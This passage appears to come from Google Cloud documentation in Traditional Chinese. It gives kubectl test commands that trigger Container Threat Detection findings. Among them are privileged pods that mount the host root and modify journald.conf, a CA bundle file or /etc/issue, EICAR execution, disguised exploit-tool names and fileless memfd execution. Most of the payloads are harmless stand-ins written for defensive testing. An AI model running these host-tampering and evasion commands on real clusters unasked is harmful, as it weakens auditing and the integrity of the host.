tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
這項測試程序會建立 Defense Evasion: Base64 Encoded Python Script Executed 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
規避防禦機制:執行了 Base64 編碼的殼層指令碼
如要觸發 Defense Evasion: Base64 Encoded Shell Script Executed 發現項目,程序必須有 echo 或 base64 做為引數,以及 IyEvYmluL2Jhc2gK 做為引數,這是 #!/bin/bash 的 base64 編碼形式。本範例使用最新的 Ubuntu 24.04 映像檔。接著,系統會使用 IyEvYmluL2Jhc2gK 引數執行 echo。這項動作會標記為可疑,因為其行為模式與嘗試解碼二進位資料以執行惡意程式碼時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
這項測試程序會建立 Defense Evasion: Base64 Encoded Shell Script Executed 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
規避防護功能:停用或修改 Linux 稽核系統 (預先發布版)
如要觸發「停用或修改 Linux 稽核系統」偵測,請修改主機的其中一個稽核相關設定檔。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後修改 /etc/systemd/journald.conf。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行二進位檔,修改主機的稽核相關設定檔,例如
/etc/systemd/journald.conf。x86 節點:
tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 Disable or Modify Linux Audit System 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
規避防禦機制:在容器中啟動程式碼編譯器工具
如要觸發 Defense Evasion: Launch Code Compiler Tool In Container (預先發布版) 發現項目,程式碼編譯器工具必須在容器中執行。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls 並重新命名為 gcc10 (或其他編譯器,例如 clang)。這項行為會標記為可疑,因為這可能表示有人試圖在容器中編譯及執行惡意程式碼,以規避偵測或修改其行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行編譯器二進位檔,例如
gcc10:x86 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"ARM 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
這項測試程序會建立 Defense Evasion: Launch Code Compiler Tool
In Container 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
規避防禦機制:已安裝根憑證 (預先發布版)
如要觸發「已安裝根憑證」偵測,請從容器在主機上建立根憑證檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器。然後在適當的目錄中建立空白憑證檔案。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT從容器將憑證檔案安裝到主機。
x86 節點:
tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'這項測試程序會觸發「已安裝根憑證」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:已執行新增的惡意二進位檔
如要觸發「Execution: Added Malicious Binary Executed」(執行:已執行新增的惡意二進位檔) 發現項目,請將惡意二進位檔放入容器並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬惡意檔案,然後執行該檔案。二進位檔的執行作業不符合預期,因為模擬的惡意二進位檔並非原始容器映像檔的一部分,且該二進位檔是 EICAR 測試檔案,也就是威脅情報歸類為惡意的檔案。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放置 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"ARM 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
這項測試程序會建立「Execution: Added Malicious Binary Executed」(執行:已新增惡意二進位檔執行) 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:已載入新增的惡意程式庫
如要觸發「Execution: Added Malicious Library Loaded」(執行:已載入新增的惡意程式庫) 發現項目,請在容器中新增惡意程式庫並載入。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬惡意程式庫,然後使用 mmap 載入。模擬的惡意程式庫並非原始容器映像檔的一部分,且該程式庫是 EICAR 測試檔案,威脅情報將其歸類為惡意檔案,因此載入程式庫是異常行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增 EICAR 檔案並載入:
x86 節點:
tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /tmp/test_mal_lib; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib sleep 10"ARM 節點:
tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /tmp/test_mal_lib; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib sleep 10"
這項測試程序會建立「Execution: Added Malicious Library Loaded」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:已執行新增的惡意技能
如要觸發 Execution: Added Malicious Skill Executed 發現項目,請在容器中新增惡意技能二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬惡意檔案,然後執行該檔案。執行二進位檔是預期外的行為,因為模擬的惡意二進位檔並非原始容器映像檔的一部分,且二進位檔包含特定測試雜湊,威脅情報將其歸類為惡意技能。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增惡意技能二進位檔並執行:
x86 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"ARM 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"
這項測試程序會建立 Execution: Added Malicious Skill Executed 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:已執行修改過的惡意技能
如要觸發 Execution: Modified Malicious Skill Executed 發現項目,請在容器中將現有二進位檔修改為惡意技能二進位檔,然後執行該檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,以模擬的惡意檔案覆寫系統檔案 (/etc/issue),然後執行該檔案。模擬的惡意二進位檔含有特定測試雜湊,威脅情報將其歸類為惡意技能,因此二進位檔的執行不符合預期。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用惡意技能二進位檔修改系統元件,並執行該元件:
x86 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"ARM 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"
這項測試程序會建立 Execution: Modified Malicious Skill Executed 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:已載入新增的惡意技能
如要觸發 Execution: Added Malicious Skill Loaded 發現項目,請在容器中新增惡意技能程式庫並載入。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬惡意程式庫,然後使用 mmap 載入。模擬的惡意程式庫並非原始容器映像檔的一部分,且程式庫包含特定測試雜湊,威脅情報將其歸類為惡意技能,因此程式庫載入作業不符合預期。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增惡意技能程式庫並載入:
x86 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader; /tmp/loader /tmp/test_mal_file; sha256sum /tmp/test_mal_file; sleep 10"ARM 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader; /tmp/loader /tmp/test_mal_file; sha256sum /tmp/test_mal_file; sleep 10"
這項測試程序會建立 Execution: Added Malicious Skill Loaded 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:已載入修改過的惡意技能
如要觸發 Execution: Modified Malicious Skill Loaded 發現項目,請使用容器中的惡意技能程式庫修改現有二進位檔,然後載入該檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔、在系統檔案 (/etc/issue) 上建立模擬惡意程式庫,然後使用 mmap 載入該程式庫。模擬的惡意程式庫並非原始容器映像檔的一部分,且程式庫包含特定測試雜湊,威脅情報將其歸類為惡意技能,因此程式庫載入作業不符合預期。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用惡意技能庫修改系統元件並載入:
x86 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader; /tmp/loader /etc/issue; sha256sum /etc/issue; sleep 10"ARM 節點:
b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy) tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader; /tmp/loader /etc/issue; sha256sum /etc/issue; sleep 10"
這項測試程序會建立 Execution: Modified Malicious Skill Loaded 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:容器跳脫
如要觸發「Execution: Container Escape」(執行:容器跳脫) 發現項目,請將二進位檔放入容器並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為可疑工具 (botb-linux-amd64),並使用額外引數執行。這項動作會模擬與容器跳脫嘗試一致的行為,因此視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT植入容器漏洞利用工具二進位檔 (例如
botb-linux-amd64) 並執行:x86 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"ARM 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
這項測試程序會建立「Execution: 容器跳脫」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:/memfd:中的無檔案執行
如要觸發 Execution: Fileless Execution in /memfd: 發現項目,必須從 /memfd: 記憶體內檔案系統執行程序。本範例使用最新的 Python 映像檔。/bin/ls 公用程式會複製到 /memfd: 中的匿名檔案。接著,系統會執行這個複製的二進位檔。/memfd: 下的二進位檔執行作業會標記為可疑,因為這會模仿物件嘗試在記憶體中執行的行為,以避免檔案偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立具特殊權限的容器,並開啟 Bash 執行指令:
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"
這項測試程序會建立 Execution: Fileless Execution in /memfd: 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:Ingress Nightmare 安全漏洞執行
如要觸發「Execution: Ingress Nightmare Vulnerability Execution」(預先發布版) 發現項目,請在容器中執行 nginx 二進位檔。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為 Nginx 二進位檔 (nginx),並使用參照 /proc 檔案系統的其他引數執行。這項動作模擬的行為與 Ingress Nightmare 漏洞攻擊 (CVE-2025-1974) 一致,因此視為可疑,可能代表有遠端程式碼執行。
使用 Cloud Shell 存取叢集控制層:
